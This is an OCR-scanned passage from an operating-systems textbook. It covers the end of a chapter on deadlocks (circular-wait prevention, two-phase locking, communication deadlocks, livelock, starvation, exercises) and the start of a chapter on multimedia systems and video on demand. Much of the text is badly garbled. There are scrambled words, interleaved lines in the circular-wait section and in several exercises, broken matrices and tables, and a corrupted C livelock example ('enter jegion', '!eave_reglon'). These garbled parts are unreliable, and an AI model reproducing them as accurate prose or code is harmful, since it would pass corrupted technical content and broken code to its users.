daemon access to the real printer eliminates deadlocks inv.olving the printer, al
though it creates one for disk space. With large disks, however, running out of 
disk space is unlikely. 

However, not all resources can be virtualized like this. For example, records 
in da,tab�ses or table� inside the opemrinO �yotcm mu�r DC locKc� ro DC llJra Jn� therem lIes the potentJal for deadlock. 
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6.6.4 Attacking the Circular Wait Condition 

o l one condition is left. The circular wait can be eliminated in several n'6 e way is simply to have a rule saying that a process is entitled only to a ways" n 
" 1 th f" " 1 resource at any moment. If it needs a second one, It must re ease e lrst _ e  " till e For a process that needs to copy a huge file from a tape to a pnnter, s resone. 

trietion is unacceptable. . 
Another way to avoid the circular wait is to provide � gl�ba1 numbenng of all 

h sOllrees as shown in Fig. 6-13(a). Now the rule IS thlS: processes can ret e re , 
d

" " 
t esources whenever they want to, but all requests must be rna e 10 numen-ques r 

d "  b "  cal order. A process may request firs� a printer and then a tape Dve, ut It may 

not request first a plotter and then a pnnter. 

1 .  lmagesetter 
2. Scanner 
3. Plotter 
4. Tape drive 
5. CO-ROM drive 

(a) (b) 

Figure 6-13. (a) Numerically ordered resources. (b) A resource graph. 

With this rule, the resource allocation graph can never have cycles. Let us see 

h this is true for the case of two processes, in Fig. 6-13(b). We can get a dead-w y 
" A  

" " 
d

" 
1 k only if A requests resource j and B requests resource l. ssurrung I an ) are 

d
OC

t" ct resources they will have different numbers. If i > j, then A is not allowed � m ' . . . . 
quest J' because that is lower than what It already has. If l < J, then B IS not to re . 

h E" h allowed to request i because that is lower than what It already as. It er way, 

deadlock is impossible. 

With more than two processes, the same logic holds. At every instant, One of 
h assi<rned resources will be highest. The process holding that resource will t e 

er ask for a resource already assigned. It will either finish, or at worst, request ���n higher numbered resources, all .of w?ich are available. Eventu:uly, it will 

finish and free its resources. At thIS pomt, some ot
.
her process. w�ll ho�d the 

highest resource and can also fi�ish. In short, there eXIsts a scenano m which all 

processes finish, so no deadl
.
ock IS �rese�t. 

. 
A minor variation of thIS algonthm IS to drop the requuement that resources 

be acquired in strictly increasing sequence and merely insist that no ?�o�ess re-

t a resource lower than what it is already holding. If a process InItIally re-ques 
f " fe " ]  " 11 uests 9 and 10, and then releases both 0 them, It is e lechve y startmg a over, q 

there is no reason to prohibit it from now requesting resource 1 .  so 
Although numerically ordering the resources eliminates the problem of dead

locks, it may be impossible to find an ?rdering that satisfies everyone. When the 
resources include process table slots, dIsk spooler space, locked database records, 

SEC. 6.6 DEADLOCK PREVENTION 455 
and other abstract resources, the number of potential resources and different uses may be so large that no ordering could possibly work. 

The various approaches to deadlock prevention are summarized in Fig. 6-14. 

Condition Approach 
Mutual exclusion Spool everything 
Hold and wait Request all resources initially 
No preemption Take resources away 
Circular wait Order resources numerically 

Figure 6·14. Summary of approaches to deadlock prevention. 

6.7 OTHER ISSUES 

In this section we will discuss a few miscellaneous issues related to dead
locks_ These include two-phase locking, nonreSOUfce deadlocks, and starvation. 

6.7.1 Two-Phase Locking 

Although both
. 
avoidance and prevention are not terribly promising in the ven

eral case, for specIfic applications, many excellent special-purpose algorithm: are 
known. .As an ex�mple, in many database systems, an operation that Occurs fre
quently IS requestm� locks on several records and then updating all the locked 
records. When multiple processes are running at the same time, there is a real 
danger of deadlock. 

The a?proach often used is called two-phase locking. In the first phase, the 
process tnes to lock all th� rec?rds it needs, one at a time. If it succeeds, it begins 
the se

.
cond phase, performmg Its updates and releasing the locks. No real work is 

done In the first phase. 
If d�ring the first phase, some record is needed that is already locked, the 

process Just releases all its locks and starts the ftrst phase all over. In a certain 
sense, this approach is similar to requesting all the reSOurces needed in advance 
or a� least be�ore anything irreversibl� is done. In some versions of two-phas� 
lockmg, there IS no release and restart If a locked record is encountered durino the 
first phase. In these versions, deadlock can occur. 

eo 

However, this strategy is not applicable in general. In -real-time systems and 
process control systems, for example, it IS not acceptable to just terminate a proc
ess

. 
part:va� through because a resource is not available and start all over again. 

NeIther IS It acceptable to start over if the process has read or written messages to 
the network, updated files, or anything else that cannot be safely repeated. The 
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algorithm works only in those situations where the programmer. has ve!y carefully 

arranged things so that the program can be stopped · at any p�mt durmg the first 

phase and restarted. Many applications cannot be structured th1s way. 

6.7.2 Communication Deadlocks 

All of our work so far has concentrated on resource deadlocks. One process 

wants something that another process has and must wait until the first one gives it 

up. Sometimes the resources are hardware or software objects, such as .CD-ROM 

drives or database records, but sometimes they are more abstract. In Fig. 6-2 we 

saw a resource deadlock where the resources were mutexes. This is a bit more 

abstract than a CD-ROM drive, but in this example, each process succ�ssfully ac

quired a resource (one of the mutexes) and deadlocked trying to acqmre another 

one (the other mutex). This situation is a classical resource deadlock. 
However as we mentioned at the start of the chapter, while resource dead

locks are th� most common kind, they are not the only kind. Another kind of 

deadlock can occur in communication systems (e.g., networks), in which two or 

more processes communicate by sending messages. A common arrangement is 

that process A sends a request message to process S, and then blocks until B sends 

back a reply message. Suppose that the request message �ets .lost. A is bloc�ed 

waiting for the reply. B is blocked waiting for a request asking It to do somethmg. 
We have a deadlock. . 

Only this is not the classical resource deadlock. A does not have possessl�n 

of some resource B wants, and vice versa. In fact, there are no resources at all III 

sight. But it is a deadlock according to our formal definition since we have a set 

of (two) processes, each blocked waiting for an event only the othe:- o�e can 

cause. This situation is called a communication deadlock to contrast It WIth the 

more common resource deadlock. 
Communication deadlocks cannot be prevented by ordering the resources 

(since there are none) or avoided by careful scheduling (since there are no 

moments when a request could be postponed). Fortunately there is anot�er tech
nique that can usually be employed to break communication de�dlocks; ume?uts. 

In most network communication systems, whenever a message IS sent to which a 
reply is expected a timer is also started. If the timer goes off before the reply 
arrives, the sender of the message assumes that the message has b�en lost and 
sends it again (and again and again if needed). In this way, deadloc� IS prevented. 

Of course, if the original message was not lost but the reply SImply. delay�d, 
the intended recipient may get the message two or more times, p�sslbl� With 
undesirable consequences. Think about an electronic banking system III whIch the 

message contains instructions to make a payment. Clearly, that sh?uld not be re
peated (and executed) multiple times just because the network IS slow or the 
timeout too short. Designing the communication rules, called the protoco�, to get 

everything right is a complex subject, but one far beyond the scope of thIS book. 
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Readers interested in network protocols might be interested in another book by the 
author, Computer Networks (Tanenbaum, 2003). 

Not all deadlocks occurring in communication- systems or networks are com
munication deadlocks. Resource deadlocks can also occur there. Consider, for 
example, the network of Fig. 6-15. This figure is a simplified view of the Inter
net. Very simpl�fied. The Internet consists of two kinds of computers: hosts and 
routers. A host IS a user computer, either someone's PC at home, a PC at a com
pany, or .a c?rporate server. Hosts do work for people. A router is a specialized 
commUlllcatIOns computer that moves packets of data from the source to the desti
nation. Eac� host is connected to one or more routers, either by a DSL line, cable 
TV connectIOn, LAN, dial-up line, wireless - network, optical fiber, or something 
else. 

Host 

Host 

Buffer 

A 0000 
DOCIO 

o 0800 
0000 

Router 

8 0000 
0000 

c 0000 
0080 

Figure 6�15. A resource deadlock in a network. 

Host 

Host 

When a packet COmes into a router from one of its hosts, it is put into a buffer 
to s�bs�uent transmission to another router and then to another until it gets to the 
d�stmatIOn. These buffers are resources and there are a fmite number of them. In 
FIg. 6-16 each router has only eight buffers (in practice they have millions, but 
that does not change the nature of the potential deadlock, just its frequency). Sup
pose that all the packets at router A need to go to B and all the packets at B need 
to go to C and all the packets at C need to go to D and all the packets at D need to 
go to A. No packet Can move because there is no buffer at the other end and we 
have a classical resource deadlock, albeit in the middle of a communications sys
tem. 

6.7.3 Livelock 

In some situations, polling (busy waiting) is used to enter a critical region or 
access a resource. This strategy is often used when the mutual exclusion will be 
uS:d for a very short .time and the overhead of suspension is large compared to 
domg the w�rk. ConsIder an atomic primitive in which the calling process tests a 
mutex and eIther grabs it or returns failure. See Fig. 2-26 for an example. 
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Now imagine a pair of processes using two resources, as shown in Fig . . 6-16. 
Each one needs two resources and they use the polling primitive enter _regLOn to 
try to acquire the necessary locks. If the attempt fails, the process just tries again. 
In Fig. 6-16, if process A runs first and acquires resource 1 an� the� process 2 
runs and acquires resource 2, no matter which one runs next, It WIll make no 
further progress, but neither process blocks. It just uses up its CPU quantum over 
and over and over without making progress but also without blocking. Thus we 
do not have a deadlock (because no process is blocked) but we have something 
functionally equivalent to deadlock: livelock. 

void process_A(void) { 
enter _region(&resource_1); 
enter jegion(&resource_2); 
use_both_resources{ ); 
!eave_region(&resource_2); 
!eave_reglon{&resource_1); 

void process_B(void) { 
enter _region(&resource_2); 
enter _region{&resource_1); 
use_both_resources{ ); 
leave_region(&resource_1); 
!eave_region( &resource _2}; 

Figure 6-16. Busy waiting that can lead to live1ock. 

Livelock can occur in surprising ways. In some systems, the total number of 
processes allowed is determined by the number of entri<:s in the process tabl�. 
Thus process table slots are finite resources. If a fork falls because the table IS 
full, a reasonable approach for the program doing the fork is to wait a random time 
and try again. 

Now suppose that a UNIX system has 100 process slots. Ten programs are 
running, each of which needs to create 12 (sub)processes. After each process has 
created 9 processes, the 10 original processes and the 90 new processes have 
exhausted the table. Each of the 10  original processes now sits in an endless loop 
forking and failing-a deadlock. The probability of this happening is minuscule, 
but it could happen. Should we abandon processes and the fork call to eliminate 
the problem? 

The maximum number of open files is similarly restricted by the size of the i
node table, so a similar problem occurs when it fills up. Swap space on·the disk is 
another limited resource. In fact, almost every table in the operating system 
represents a finite resource. Should we abolish all of these because it might hap
pen that a collection of n processes might each claim lin of the total, and then 
each try to claim another one? Probably not a good idea. 
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Most operating �ystems, including UNIX and Windows, just ignore the prob
lem On the assumpUon that most users would prefer an occasional livelock (or 
even dead�ock) to a rule restricting all users to one process, one open file, and one 
of ever�thing: If these problems could be eliminated for free, there would not be 
�uch dls�ussIOn. !h

.
e problem is that the price is high, mostly in terms of putting 

mconvement restnctlons �n processes. Thus we are faced with an unpleasant 
trade-off

. 
bet:-veen c�nvemence and correctness, and a great deal of discussion 

about whIch IS more Important, and to whom. 
It �s worth mentioning that some people do not make a distinction between 

starvatIOn and deadlock because in both cases there is no forward progress. Oth
ers feel that they are fundamentally different because a process could easily be 
pr?grammed to try to do something n times and, if all of them failed, try some
thmg else. A blocked process does not have that choice. 

6.7.4 Starvation 

A problem closely related to deadlock and livelock is starvation. In a dynarmc system,
.
r�quests for resources happen all the time. Some policy is needed to

.
make a deCISIon about who gets which resource when. This policy, although seemmgly reasonable, may lead to Some processes never getting service even though they are not deadlocked. 

AB an exam?le, consider allocation of the printer. Imagine that the system uses Some algonthm to ensure that allocating the printer does not lead to deadlock. Now s�ppose that 
.
several p:oces�es all want it at once. Who should get it? One �osslble all.ocatlon algonthm IS to give it to the process with the smallest file to pnnt (assummg this infonnation is available). This approach maximizes the number of happy customers and seems fair. Now consider what happens in a busy system when

. 
one process has a huge file to print. Every time the printer is free, t�e system WIll look around and choose the process with the shortest file. If there 1

.
S a constant stream of processes with short files, the process with the huge file wl�l neve: be allocated the printer. It wiII simply starve to death (be postponed mdefimtely, even though it is not blocked). 

. 
Star:ation �an b� avoided by using a first-come, first-served, resource alloca� hon pohcy. With �lS approach, the process waiting the longest gets served next. In due course of time, any given process will eventually become the oldest and thus get the needed reSOurce. 

6.8 RESEARCH ON DEADLOCKS 

If ever the
.
re was a subject that was investigated mercilessly during the early 

days of operatmg systems, it was deadlocks. The reason for this is that deadlock 
detection is a nice little graph-theory problem that one mathematically inclined 
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graduate student can get his jaws around and chew on for 3 or 4 years. All kinds 
of algorithms were devised, each One more exotic and less practical than the pre
vious one. Most of that work has died out, but there are still papers being pub
lished on various aspects of deadlocks. These include runtime detection of dead
locks caused by incorrect use of locks' and semaphores (Agarwal and Stoller, 
2006; and Bensalem et aI., 2006), preventing deadlocks among Java threads (per
mandia et aI., 2007; and Williams et a1., 2005), dealing with deadlocks in net
works (Jayasimha, 2003; Karol. et a1., 2003; and Schafer et aI., 2005), modeling 
deadlocks in dataflow systems (Zhou and Lee, 2006), and detecting dynamic 
deadlocks (Li et a!., 2005) Levine (2003a, 2003b) compared different (and often 
contradictory) definitions of deadlock in the literature and came up with a classifi
cation scheme for them. She also took another look at the difference between 
deadlock prevention and deadlock avoidance (Levine, 2005). Recovery from 
deadlock is also being studied (David et a1., 2007). 

There is also some (theoretical) research on distributed deadlock detection, 
however. We will not treat that here because (1) it is outside the scope of this 
book, and (2) none of it is even remotely practical in real systems. Its main func
tion seems to be keeping otherwise unemployed graph theorists off the streets. 

6.9 SUMMARY 

Deadlock is a potential problem in any operating system. It occurs when all 
the members of a set of processes are blocked waiting for an event that only other 
members of the set can cause. This situation causes all the processes to wait for
ever. Commonly the event that the processes are waiting for is the release of 
some resource held by another member of the set. Another situation in which 
deadlock is possible is when a set of communicating processes are all waiting for 
a message and the communication channel is empty and no timeouts are pending. 

Resource deadlock can be avoided by keeping track of which states are safe 
and which are unsafe. A safe state is one in which there exists a sequence of 
events that guarantee that all processes can finish. An unsafe state has no such 
guarantee. The banker's algOrithm avoids deadlock by not granting a request if 
that request will put the system in an unsafe state. 

Resource deadlock can be structurally prevented by building the system in 
such a way that it can never occur by design. For example, by allowing a process 
to hold only one resource at any instant the circular wait condition required for 
deadlock is broken. Resource deadlock can also be prevented by numbering all 
the resources, and making processes request them in strictly increasing order. 

Resource deadlock is not the only kind of deadlock. Communication dead
lock is also a potential problem in some systems although it can often be handled 
by setting appropriate timeouts. 
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L�velock �s similar to deadlock in that it can stop all forward progress but it . s �echmc

.ally dIfferent 
.since it inVOlves processes that are not actually 

'
blocke� tarvatlOn can be aVOIded by a first-come, fIrst-served allocation policy. 

. 

PROBLEMS 

1. St�dents working at i�dividual PCs in a computer laboratory send their files to be pnnted by a server whIch spools the files on its hard disk Under wh t d" a d dl k 'f h . . a can ItlOns may 
I k

ea
b 

oc 
.
occur I t e dISk space for the print spool is limited? How may 'he dead oc e aVOided? . -

2. In the preceding question, wh' ch 
emptable? 

I reSOUrces are preemptable and which are nonpre-

3. Th�
) 
four conditions (mutual exclusion, hold and wait, no preemption and circular Walt are �e.cessary for a resource deadlock to occur. Give an example to show that these
. �

ondltlOns. are not sufficient for a reSOUrce deadlock to occur. When are th conditIOns suffiCient for a reSOurce deadlock to OCCur? 
eSe 

4. �;� 
l
���

f
:�:r�y ��o���eC��! �:d����r�:;;aJs� �� :������!�;::e�xi:;'S��i�� !�a��s 

amp e o  one. b '  ' 0  -

s. Consider .Fig. 6-4. Suppose that in step (0) C requested S instead of re uestin R Would this lead to deadlock? Suppose that it requested both S and R? 
q g .  

6. Suppose that there is a resourCe dea::Uock in a system. Give an example to show that �he
h
set of process:s deadlocked can mclude processes that are not in the circular chain III t e correspondmg resource allocation graph. 

7. C
fi 
onsider the following state of a system with four processes P 1 P2 P3 and P4 d Ive types of resources, RS1, RS2, RS3, RS4 and RS5: 

" " , an 

0 1 1 1 2 
0 1 0 1 0 
0 0 0 0 1 
2 1 0 0 0 

1 1 0 
0 1 0 
0 2 0 
0 2 1 

2 
2 
3 

1 

1 
1 
1 
0 

E = (24144) 

A = (01021) 

Using the. deadlock detection algOrithm described in Section 6.4.2, show that there is a deadlock m the system. Identify the processes that are deadlocked. ' 
8. Suppose that in Fig 6-6 c·· + R > E f . W . . . 

f th ? 'l ij j or some l. hat ImphcatlOns does this have or e system. 
9. What is the key di

.
ffere?ce between the model shown in Figure 6-8, and the safe and unsafe states descnbed m Section 6.5.2 What is the consequence of this difference? 
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10. 

11. 

. . ' F'o- 6.8 are horizontal or vertical, Can you envision any cir-
All the traJectones m Ie- . ? 

. :vhich diagonal trajectories are also possible . 
cumstances III \ 

. t scheme of Fig 6-8 also be used to illustrate the problem of 
Can the [eso�rce traJcc ory 

esses and three
' 
resources? If so, how can this be done? If 

deadlocks with three proc 

not, why not? 

t a'ectory "raphs could be used to avoid deadlocks. By clever 

12 I theory resource r J => • 
S t raetical • n 

.
' 

h operatino system could avoid unsafe regIOns. ugges a p 
scheduhng, t e .t> .  
problem with actually doing this. 

be in a state that is neither deadlocked nor safe? If so, give an example. 
13 Can a system . d '  · 

that all states are eIther deadlocke or sale. 
If not, prove 

f I I  k t Fi" 6·11(b)_ If D asks for one more unit, does this lead to a 
14. Take a care u 00 ..,8 "''; What if the request came from C instead of D? 

safe state or an unsate one. . 

h two processes and three identical resources. Each process needs a maXl� 
15. A system as 

Is deadlock possible? Explain your answer. 
mum of tWO resources. . . 

. roblem aoain but now with p processes each needmg a maXI-
16 C 

. 
der the previOus p c ' d' . h Id t • onSI 

d a total of r resources available. What con luon must a 0 
mum of m resources an 

make the system deadlock free? 
. 

h t process A in Pio. 6-12 requests the last tape dnve. Does this action lead 
17. Suppose t a I:> 

to a deadlock? 

h . tape drives with n processes competing for them. Each process 
18 A omputer as SIX ' 

I k f ? · C
d ' For which values of n is the system dead oc ree. 

may need twO nves. 

's al orithm is being run in a system with m resource classes and n proc-
19. The bank��

e li!it of large m and n, the number of operations that must be perfonned 
esse

h
s. I

k
n

a state for safety is proportional to rna n b. What are the values of a and b? 
to e ec 

h s four processes and five allocatable resources. The current allocation and 
20. A system a 

II 
maximum needs are as fa ows: 

Process A 
Process B 
Process C 

Process D 

Allocated 
I 0 2  I I 
2 0  I I  0 
I I 0 I 0 
I I I I 0 

Maximum 
I I 2 I 3 
2 2 2 1 0  
2 1 3 1 0  
I I 2 2  I 

Available 
O O x l l  

. the smallest value of x for which this is a safe state? 
What IS 

A d B each need three records I 2, and 3, in a database. If A asks 
21. Two proc�sses, 

rd
an 

l
' 
2 3 and B asks for the� in the same order, deadlock is not 

c them m the o er " , 
dl k '  'bl lor 

'f B asks for them in the order 3 2, 1, then dea oc IS POSSI e. 
ssible However, t ' 

. . 
h po ' s there are 31 or six possible combmatlOns eac proCI:;SS can re

With three resource , ' 
. '  

d . b d d 
What fraction of all the combinattons IS guarantee to e ea 

quest the resources. 

lock free? 

. 'b ted system using mailboxes has two IPC primitives, send and receive. The 
22. A dlstn . 

u . . pecifies a process to receive from and blocks if no message from that 
latter pnmltlve s . . 

f h esses . 'I ble even thouoh messaO"es may be wattmg rom at er proc . 
process IS aval a , e e 
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There are no shared resources, but processes need to communicate frequently about 
other matters. Is deadlock possible? Discuss. 

23. In an electronic funds transfer system, there are hundreds of identical processes that 
work as follows. Each process reads an input line specifying an amount of money, the 
account to be credited, and the account to be debited. Then it locks both accounts and 
transfers the mon�y, releasing the locks when done. With many processes running in 
parallel, there is a very real danger that having locked account x it will be unable to 
lock y because y has been locked by a process now waiting for x. Devise a scheme 
that avoids deadlocks. Do nor release an account record until you have completed the 
transactions. (In other words, solutions that lock one account and then release it im
mediately if the other is locked are not allowed.) 

24. One way to prevent deadlocks is to eliminate the hold-and-wait condition, In the text 
it was proposed that before asking for a new resource, a process must first release 
whatever resources it already-holds (assuming that is possible). However, doing so 
introduces the danger that it may get the new resource but lose some of the existing 
ones to competing processes. Propose an improvement to this scheme. 

25. A computer science student assigned to work on deadlocks thinks of the following 
brilliant way to eliminate deadlocks. When a process requests a resource, it specifies 
a time limit. If the process blocks because the resource is not available, a timer is 
started. If the time limit is exceeded, the process is released and allowed to run again. 
If you were the professor, what grade would you give this proposal and why; 

26. Cinderella and the Prince are getting divorced. To divide their property, they have 
agreed on the following algorithm. Every morning, each one may send a letter to the 
other's lawyer requesting one item of property. Since it takes a day for letters to be 
delivered, they have agreed that if both discover that they have requested the same 
item on the same day, the next day they will send a letter canceling the request. 
Among their property is their dog, Woofer, Woofer's doghouse, their canary, Tweeter, 
and Tweeter'S cage. The animals love their houses, so it has been agreed that any divi
sion of property separating an animal from its house is invalid, requiring the whole 
division to start over from scratch. Both Cinderella and the Prince desperately want 
Woofer. So they can go on (separate) vacations, each spouse has programmed a per
sonal computer to handle the negotiation. When they come back from vacation, the 
computers are still negotiating. Why? Is deadlock possible? Is starvation possible? 
Discuss. 

27. A student majoring in anthropology and minoring in computer science has embarked 
on a research project to see if African baboons can be taught about deadlocks. He 
locates a deep canyon and fastens a rope across it, so the baboons can cross hand
over-hand. Several baboons can cross at the same time, provided that they are all 
going in the same direction. If eastward-moving and westward�moving baboons ever 
get onto the rope at the same time, a deadlock will result (the baboons wiII get stuck in 
the middle) because it is impossible for one baboon to climb over another one while 
suspended over the canyon. If a baboon wants to cross the canyon, he must check to 
see that no other baboon is currently crossing in the opposite direction. Write a pro
gram using semaphores that avoids deadlock. Do not worry about a series of 
eastward�moving baboons holding up the westward-moving baboons indefinitely. 
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28. Re eat the previous problem, but now avoid starvation. Wh�n a baboon that wants 
.
to 

crtss to the east arrives at the rope and finds baboons crossmg to the west, he walts 
until the rope is empty, but no more westward-moving baboons are allowed to start 
until at least one baboon has crossed the other way. 

29 Write a pIoo-ram to implement the deadlock detection algorithm wit? m.
ultiple re-

o sources of e:ch type. Your program should read from a file the followmg tnputs: the 
number of processes, the number of resource types, th: number of resources of each 
type in existence (vector E), the current allocation matnx C (first row, followed by t�e 

d d so on) the request matrix R (first roW, followed by the secon� fa , secan row, an 
'f h 

. 
d dlock ill the and so on). The output of your program should indicate 1 t ere IS a ea 

. system or not. In case there is a deadlock in the system, the program should pnnt out 
the identities of all processes that are deadlocked. 

30 Write a program that detects if there is a deadlock in the system .by �sing a resource 
• allocation graph. Your program should read from a file the followl�g mputs: the num

ber of processes and the number of resources. For ea�h process If should read �o�r 
numbers: the number of resources it is currently holdl?g, the IDs of resources �t �s 
holding the number of resources it is currently requestmg: the IDs of r�sources It IS 
re uesting. The output of program should indicate if there IS a deadlo�k m the sy.stem 
or

q
not. In case there is a deadlock in the system, the program should pnnt out the Iden

tities of all processes that are deadlocked. 

7 
M U LTIMEDIA O PERATING SYSTEMS 

Digital movies, video clips, and music are becoming an increasingly common way to present infonnation and entertainment using a computer. Audio and video files can be stored on a disk and played back on demand. However, their characteristics are very different from the traditional text files that current file systems were designed for. As a consequence, new kinds of file systems are needed to handle them. Stronger yet, storing and playing back audio and video puts new demands on the scheduler and other parts of the operating system as well. In this chapter, we will study many of these issues and their implications for operating systems that are designed to handle multimedia. 
Usually, digital movies go under the name multimedia, which literally means more than one medium. Under this definition, this book is a multimedia work. After all, it contains two media: text and images (the figures). However, most people use the tenn "multimedia" to mean a document containing two or more continuous media, that is media that must be played back over some time interval. In this book, we will use the tenn multimedia in this sense. 
Another term that is somewhat ambiguous is "video." In a technical sense, it is just the image portion of a movie (as opposed to the sound portion). In fact, camcorders and televisions often have two connectors, one labeled '"video" and one labeled "audio," since the signals are separate. However, the term "digital video" nonnally refers to the complete product, with both image and sound. Below we will use the term "movie" to refer to the complete product. Note that a movie in this sense need not be a two-hour long film produced by a Hollywood 

465 
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studio at a cost exceeding that of a Boeing 747. A 30-sec news clip streamed 
from CNN's home page oyer the Internet is also a movie under our definition. 
We will also call these "video clips" when we are referring to very short movies. 

7.1 INTRODUCTION TO MULTIMEDIA 

Before getting into the technology of multimedia, a few words about its CUf
rent and future uses are perhaps helpful to set the stage. On a single computer, 

multimedia often means playing a prerecorded movie from a DVD (Digital Verw 
satHe Disk). DVDs are optical disks that use the same 120-mm polycarbonate 

(plastic) blanks that CD-ROMs use, but are f:corded at a higher density, giving a 

capacity of between 5 GB and 17 GB, dependIng on the format. 

Two candidates are vying to be the successor to DVD. One is called Blu�ray, 
and holds 25 OB in the single-layer format (50 GB in the double-layer format). 

The other is called HD DVD and holds 15 GB in the single-layer fonnat (30 GB 

in the double-layer format). Each format is backed by a different consortium of 

computer and movie companies. Apparently the electronics and entertainment in

dustries are nostalgic for the format w!ll"s of the 1970s and 1980s between Beta

max and VHS, so they decided to repeat it. Undoubtedly this format war will 

delay the popularity of both systems for years, as consumers wait to see which 

one is going to win. 
Another use of multimedia is for downloading video clips over the Inte!TIet. 

Many Web pages have items that can be clicked on to download short movies. 
Websites such as YouTube have thousands of video clips available. As faster dis
tribution technologies take over, such as cable TV and ADSL (Asymmetric Digi
tal Subscriber Line) become the norm, the presence of video clips on the Internet 
will skyrocket. 

Another area in which multimedia must be supported is in the creation of 
videos themselves. Multimedia editing systems exist and for best performance 

need to run on an operating system that supports multimedia as well as traditional 

work. 
Yet another arena where multimedia is becoming important is in computer 

games. Games often run video clips to depict some kind of action. The clips are 
usually short, but there are many of them and the correct one is selected dynami
cally, depending on some action the user has taken. These are increasingly so

phisticated. Of course, the game itself may generate large amounts of animation, 

but handling program-generated video is different than showing a movie. 
Finally, the holy grail of the multimedia world is video on demand, by which 

people mean the ability for consumers at horne to select a movie using their telev

ision remote control (or mouse) and have it displayed on their TV set (or com
puter monitor) on the spot. To enable video on demand, a special infrastructure is 
needed. In Fig. 7 � 1 we see two possible video-on-demand infrastructures. Each 
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one contains three essential com ' . 
network, and a set-top box in 

��
c
�n�s- one

t 
or more �Ideo ser�ers, a distribution 

server is a powerful COm uter that t 
ouse or dec?dl�g

. the SIgnal. The video 
them back on demand sP _ s or� many mOVIes m Its file system and plays . omeHmes mamframes a d -d connecting, say 1000 laroe dl'sks to . 

f 
re use as VI eo servers, since 

• ' 0 a mam rame is strai O"h� d nectmg 1000 disks of any kind to 1 
b orwar , whereas con-

of the material in the 
"
following se:��:sso�sa 

a
�omp�ter is a serious prob!em. M�ch 

systems. 
out VIdeo servers and theIr operatmg 

Distribution network 

\ 
Video server Copper twisted pair 

(a) 

Junction box 

\ 
Video server 

Cable TV coaxial cable 
(b) 

Figure 7·1. Video on de d " d·f� (a) ADSL. (b) Cable TV. 
man usmg 1 erent local distribution technologies. 

The distribution network bet h . 
ble of transmitting data at high 

;;::
d 

t 
a
::�er an� t�e VIdeo· "serv�r must be capa

works is interestin and 
m rea tIme. The deSIgn of such net· 

'11 
g complex, but falls outside the scope of this book W WI not say any more about them exce t to not h 

. e 
fiber optics from the vid d 

p e t at these networks always use eo server own to a junction box in each neighborhood 
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where customers live. In ADSL systems, which are provided by telephone com
panies, the existing twisted�pair telephone line provides the last kilometer or S0. of 
transmission. In cable TV systems, which are provided by cable operators, eXlst
ioo cable TV wiring is used for the local distribution. ADSL has the advantage of 
gi�ing each user a dedicated channel, hence guaranteed ba�d�idth, but the ba�d
width is low (a few megabits/sec) due to limitations of eXIstmg telephone WITe. 
Cable TV uses high-bandwidth coaxial cable (at gigabits/sec), but many users 
have to share the same cable, giving contention for it and no guaranteed band
width to any individual user. However, in order to compete with cable compan
ies, the telephone companies are starting to put in fiber to individual homes, in 
which case ADSL over fiber will have much more bandwidth than cable. 

The last piece of the system is the set�top box, where the ADSL or TV cable 
terminates. This device is, in fact, a nonnal computer, with certain special chips 
for video decoding and decompression. As a minimum, it contains a CPU, RAM, 
ROM interface to ADSL or the cable, and connector for the TV set. 

A� alternative to a set-top box is to use the customer's existing PC and dis
play the movie on the monitor. Interestingly enough, the reason set-top boxes a�e 
even considered, given that most customers probably already have a computer, IS 
that video-on-demand operators expect that people will want to watch movies in 
their living rooms, which usually contain a TV but rarely a computer. From a 
technical perspective, using a personal computer instead of a set-top box makes 
far more sense since it is more powerful, has a large disk, and has a far higher 
resolution display. Either way, we will often make -a distinction between the 
video server and the client process at the user end that decodes and displays the 
movie. In tenns of system design, however, it does not matter much if the client 
process runs on a seHop box or on a Pc. For a desktop video editing syste�, all 
the processes run on the same machine, but we will continue to use the terrnmol
ogy of server and client to make it clear which process is doing what. 

Getting back to multimedia itself, it has two key characteristics that must be 
well understood to deal with it successfully: 

1. Multimedia uses extremely high data rates. 

2. Multimedia requires real-time playback. 

The high data rates come from the nature of visual and acoustic information. The 
eye and the ear can process prodigious amounts of information per second, and 
have to be fed at that rate to produce an acceptable viewing experience. The data 
rates of a few digital multimedia sources and some common hardware devices are 
listed in Fig. 7-2. We will discuss some of these encoding formats later in this 
chapter. What should be noted is the high data rates multimedia requires, the 
need for compression, and the amount of storage that is required. For example, an 
uncompressed 2-hour HDTV movie fills a 570-GB file. A video server that stores 
1000 such movies needs 570 TB of disk space, a nontrivial amount by current 
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standards. What is also of note is that without data compression, current hardware 
cannot keep up with the data rates produced. We will examine video compression 
later in this chapter. 

Source Mhps I GB/hr Device 

Telephone (PCM) 0.064 I 0.03 Fast Ethernet 

MP3 music 0.14 i 0.06 E!DE disk 

Audio CD 1.4 0.62 ATM OC-3 network 

MPEG-2 movie (640 x 480) 4 1.76 IEEE 1394b (FlreWire) 

Digltal camcorder (720 x 480) 25 1 1  Gigabit Ethernet 

Uncompressed TV (640 x 480) 221 97 SATA disk 

Uncompressed HDTV (1280 x 72_0) 648 288 Ultra-640 SCSI disk 

Figure 7-2. Some data rates for multimedia and high-perfonnance I/O devices. 
Note that I Mbps is 106 bits/sec but 1 GB is 230 bytes. 

Mbps 

100 

133 

156 

800 

1000 

3000 

5120 

The second demand that multimedia puts on a system is the need for real-time 
data delivery. The video portion of a digital movie consists of some number of 
frames per second. The NTSC system, used in North and South America and 
Japan, runs at 30 frames/sec (29.97 for the purist), whereas the PAL and SECAM 
systems, used in most of the rest of the world, runs at 25 frames/sec (25.00 for the 
purist). Frames must be delivered at precise intervals of ca. 33.3 msec or 40 
msec, respectively, or the movie will look choppy_ 

Officially NTSC stands for National Television Standards Committee, but the 
poor way color was hacked into the standard when color television was invented 
has led to the industry joke that it really stands for Never Twice the Same Color. 
PAL stands for Phase Alternating Line. Technically it is the best of the systems. 
SECAM is used in France (and was intended to protect French TV manufacturers 
from foreign competition) and stands for SEquentiel Couleur Avec Memoire. 
SECAM is also used in Eastern Europe because when television was introduced 
there, the then-Communist governments wanted to keep everyone from watchinG' 
German (PAL) television, so they chose an incompatible system_ 

to 

The ear is more sensitive than the eye, so a variance of even a few millisec
onds in delivery times will be noticeable. Variability in delivery rates is called 
jitter and must be strictly bounded for good performance. Note that jitter is not 
the same as delay. If the distribution network of Fig. 7-1 uniformly delays all the 
bits by exactly 5.000 sec, the movie will start slightly later, but. will look fine. On 
the other hand, if it randomly delays frames by between 100 and 200 msec, the 
movie will look like an old Charlie Chaplin film, no matter who is starring. 

The real-time properties required to play back multimedia acceptably are 
often described by quality of service parameters. They include average band
width available, peak bandwidth available, minimum and maximum delay (which 
